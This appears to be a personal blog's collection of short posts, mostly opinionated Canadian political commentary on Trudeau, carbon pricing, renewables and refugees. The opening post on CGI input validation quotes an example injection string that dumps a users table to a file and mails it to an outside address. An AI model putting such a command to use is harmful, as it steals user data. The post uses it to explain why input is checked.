Author: David

The good old days

Back when I started programming networked applications, the big threat was injection techniques into a CGI program. Back then, it was easy, use strict;, -T (taint check) and check everything that you didn’t write. That’s why you always had the “password can only be alpha-numeric +@#^&)-” style messages. We were checking what you entered to make sure it didn’t have a "SELECT * INTO OUTFILE "~/out.txt" from users; mail -s out.txt -f ~/out.txt bad.address@home.com" in the form.
It’s the same old problem. Except this time, if you accept REST or JSON via a Java based application server you should be concerned.
And before anyone dismisses this, ask yourself how the MLS system shares information.

Not Impressed.

By 2030, half of Saskatchewan’s power will come from renewable sources, with wind, solar and geothermal energy all thrown into the mix.
You just know this is going to be a financial disaster with lots of money going in and out. Current coal power supply, 1530MW.
Wind is less dense than water so the land requirements are even greater. Contemporary 50-story windmills generate 1- 1/2 MW apiece, so it takes 660 windmills to get 1000 MW. They must be spaced about half a mile apart so a 1000-MW wind farm occupies 125 square miles. Unfortunately the best windmills generate electricity only 30 percent of the time, so 1000 MW really means covering 375 square miles at widely dispersed locations.
Course, there is an election coming in April, so maybe this is just another way to take a wedge issue away from the NDP.

Not Wrong.

Full speed ahead, damn the torpedoes!

It looks a lot more like Trump doesn’t think much about his proclamations at all, or even pay attention when reporters ask questions. He’s just emoting to please the crowds. There isn’t any substance to Trump; he’s mainly an untethered id with unlimited resources and no boundaries. He makes broad statements about what he’ll do, and assure people it will be “great” and “elegant,” and that’s it, When pressed for how he plans to do it, Trump offers the same basic response — trust me.

Bilingual law

Supreme Court upholds the right of Alberta and Saskatchewan to have laws written in English only.

We therefore cannot, as the appellants ask us to do, allow the pursuit of language rights to trample on areas of clear provincial legislative jurisdiction. Neither can we resolve the tension arising from the interplay of fundamental constitutional principles, as the appellants ask us to do, by resorting to broad and uncontroversial generalities, or by infusing vague phrases with improbable meanings. Rather, we must examine the text, context and purpose of our Constitution to see whether there is a constitutional constraint on the power of the province of Alberta to decide in what language or languages it will enact its legislation.

Talk about escalation, this started as a traffic violation.

Breaking a “Pledge”

Sounds so much better than breaking a “Promise”.

The Liberal government, elected on platform that pledged to ban partisan advertising, is set to launch a $500,000 digital ad campaign to boost public support for its plan to bring in 25,000 Syrian refugees by the end of the year, according to a strategic plan document obtained by the National Post.

Of all the election promises to break, it’s this one. The Liberal campaign motto should have been, “Politics, As Usual!”

#NotACult

There’s blood in them thar stones.

Pricing carbon is a current Canadian reality, with provinces representing almost 80 per cent of the population either already imposing some kind of carbon levy or in the process of doing so.

I’ll note that the article refrains from noting the reduction of carbon-dioxide (damn, that irritates me, it’s not &^^%&**ing carbon) so far. Wouldn’t it logically follow then that there was a distinct reduction given the large majority of population and industry were under carbon-dioxide pricing scheme?

A Good Sentiment

But I think it’s a head/wall situation.
He’s a 45 year old male who has never been forced to grow up, never been forced to eat his pride. He’s head-strong and got a decisive win. His self-image is way up there. His arrogance will not allow any reason, logic or compassion to break that façade. He is opposite the old saying, “Learn how to take orders before you give them.”
I feel sorry for him, the job is going to ruin him. There is only so much room for #SunnyDays before realities come crashing into that brick wall stubbornness. This situation, the next one, the one after that, each one creating two new sides. Each one cutting a little more into that support that put him in office.
When PM Trudeau loses, and he will, he’ll be as reviled as Mr. Harper is and more than the senior Trudeau is now.
He won’t be the Shiny Pony, he’ll be the old grey mare.

David Suzuki, call your office.

Right before COP-21 too. That will leave a mark.

In a major speech setting out a new strategy, the energy secretary is expected to say that from now on, policies will balance “the need to decarbonise with the need to keep bills as low as possible”.
“Energy security has to be the first priority. It is fundamental to the health of our economy and the lives of our people,” she will say.

Funny, how seniors freezing to death tends to galvanize politicians who care more about their constituents than their “international reputation”.

But he said there should be a “break from the past” in order to “meet objectives in the most cost-effective way possible, with the government getting out the way and letting the market prevail where it can”.

Read: subsidies are going to stop.

Said the Psychologist

How do you really feel, Rosie?

Senior Liberals within Trudeau’s own party, individuals with a far more educated (and historically informed) grasp of geopolitics, were dismayed by Trudeau’s bolter posture on the bombing campaign but could not talk him out of it. He should listen to them now and walk back his campaign vow. Only little men are afraid of admitting wrongness.

That’s the Toronto Star, in case you didn’t click.

Six weeks isn’t enough time to properly vet migrants headed for Canada. That’s just foolhardy.

Based on the words used, hardly fawning, I’m moving more towards “smack up the head of Liberal leadership” point of view.
It only gets better for “Prime Minister Selfie”.

This is the sixth G20 summit I’ve covered and I’ve never seen a host broadcaster ignore a speech by a G7 leader like Canada. Mind you, Trudeau’s was a speech worth ignoring, full of bland, windy platitudes.

That’s because in the real world of realpolitik, they know what Canada voted for.
#SunnyDays #ShortestHoneymoonEver

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